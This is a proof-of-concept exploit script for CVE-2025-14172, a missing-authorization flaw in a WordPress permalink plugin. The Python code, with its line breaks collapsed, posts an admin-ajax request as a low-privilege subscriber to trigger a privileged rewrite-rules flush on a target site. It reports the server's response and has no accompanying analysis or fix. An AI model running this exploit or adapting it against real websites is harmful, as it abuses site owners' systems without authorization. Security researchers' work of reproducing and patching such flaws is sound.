CVE-2025-14172

import requests import sys # CVE-2025-14172 PoC # WP Page Permalink Extension < 1.5.5 Missing Authorization # Requires: Authenticated user with subscriber-level access or higher target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' # Get valid nonce and cookie from authenticated session # (Attacker needs to be logged in as subscriber or higher) ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { 'action': 'cwpp_trigger_flush_rewrite_rules' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', # Include authenticated session cookies here # 'Cookie': 'wordpress_logged_in_xxx=yyy' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-14172...") print(f"[*] Sending request to: {ajax_url}") response = requests.post(ajax_url, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") else: print(f"[-] Request failed with status: {response.status_code}")

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